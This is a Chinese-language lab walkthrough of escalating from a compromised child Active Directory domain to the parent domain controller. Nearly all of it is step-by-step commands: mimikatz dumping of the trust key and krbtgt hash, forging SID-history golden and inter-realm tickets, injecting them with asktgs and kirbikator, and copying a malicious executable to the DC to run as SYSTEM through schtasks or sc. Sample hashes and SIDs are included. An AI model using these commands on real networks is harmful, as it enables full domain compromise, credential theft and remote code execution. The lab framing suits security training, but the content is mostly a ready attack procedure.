内网渗透-域控安全和跨域攻击-获取目标域方法总结

利用域信任密钥获取目标域

实验环境

IP 地址 所属域 域中地位 机器名 当前登录用户
192.168.113.152 test.com 根域的域控 DC hack\administrator
192.168.113.153 abc.test.com 子域的域控 DC2 abc\administrator
192.168.113.156 abc.test.com 子域中的机器 Abc-losy abc\losy

当前已经控制abc.hack.com域,其中包括 DC2机器和ABC-LOSY机器

实验步骤

当前losy用户无法访问DC.test.COM

shell dir \\dc.test.com\c$

在控制的dc2下面使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥

mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:TEST$" "lsadump::trust /patch" exit

mimikatz privilege::debug

mimikatz lsadump::lsa /patch /user:TEST$

mimikatz lsadump::trust /patch

Current domain: ABC.TEST.COM (ABC / S-1-5-21-138967882-756984254-3016740272)

Domain: TEST.COM (TEST / S-1-5-21-2071415428-1615975719-3128489008)

rc4_hmac_nt:277a4340abf41c1a580dc99c730f20d8

在普通的域内用户(losy)中创建创建高权限票据

mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi" exit

à

mimikatz kerberos::golden /domain:abc.test.com /sid:S-1-5-21-138967882-756984254-3016740272 /sids:S-1-5-21-2071415428-1615975719-3128489008-519 /rc4:277a4340abf41c1a580dc99c730f20d8 /user:administrator /service:krbtgt /target:test.com /ticket:administrator.kirbi

上传asktgs.exe和kirbikator.exe工具

asktgs.exe伪造票据,kirbikator.exe注入票据

创建CIFS服务的票据进行复制文件的操作

shell asktgs.exe administrator.kirbi CIFS/DC.test.com

将票据注入内存

shell kirbikator.exe lsa CIFS.DC.test.com.kirbi

访问域控

shell dir \\dc.test.com\c$

服务恶意文件,如果复制失败,请注入host服务票据。

shell copy 123.exe \\dc.test.com\c$

伪造host服务,进行创建计划任务

shell asktgs.exe administrator.kirbi host/DC.test.com

将票据注入内存

shell kirbikator.exe lsa host.DC.test.com.kirbi

上传恶意文件并创建计划任务

shell copy 123.exe \\dc.test.com\C$\

shell schtasks /create /s dc.test.com /tn test123 /sc onstart /tr c:\123.exe /ru system /f

执行计划任务

shell schtasks /run /s dc.test.com /i /tn "test123"

用sc也可以:

shell copy 123.exe \\dc.test.com\C$\

shell sc \\dc.test.com create test binpath= "cmd.exe /c c:\123.exe"

shell sc \\dc.test.com start test

shell sc \\dc.test.com delete test

提示

如果做着做着,就遇到拒绝访问的情况

说明票据的时间戳失效了,要shell klist purge后重新做

利用krbtgt哈希值获取目标域

实验环境

IP 地址 所属域 域中地位 机器名 当前登录用户
192.168.113.152 test.com 根域的域控 DC hack\administrator
192.168.113.153 abc.test.com 子域的域控 DC2 abc\administrator
192.168.113.156 abc.test.com 子域中的机器 Abc-losy abc\losy

当前已经控制abc.hack.com域,其中包括 DC2机器和ABC-LOSY机器

实验步骤

在dc2里面获取Krbtgt散列

mimikatz lsadump::lsa /patch /user:krbtgt

NTLM : f778d436c7b4ccecb735d596638c547a

在dc2里面获取关键信息

mimikatz lsadump::trust /patch

Current domain: ABC.TEST.COM (ABC / S-1-5-21-138967882-756984254-3016740272)

Domain: TEST.COM (TEST / S-1-5-21-2071415428-1615975719-3128489008)

在losy用户下构造并注入黄金票据

mimikatz Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt:krbtgt散列 /ptt

à

mimikatz Kerberos::golden /user:administrator /domain:abc.test.com /sid:S-1-5-21-138967882-756984254-3016740272 /sids:S-1-5-21-2071415428-1615975719-3128489008-519 /krbtgt:f778d436c7b4ccecb735d596638c547a /ptt

访问目标域

shell dir \\dc.test.com\c$

上传恶意文件并创建计划任务

shell copy 123.exe \\dc.test.com\C$\

shell schtasks /create /s dc.test.com /tn test123 /sc onstart /tr c:\123.exe /ru system /f

执行计划任务

shell schtasks /run /s dc.test.com /i /tn "test123"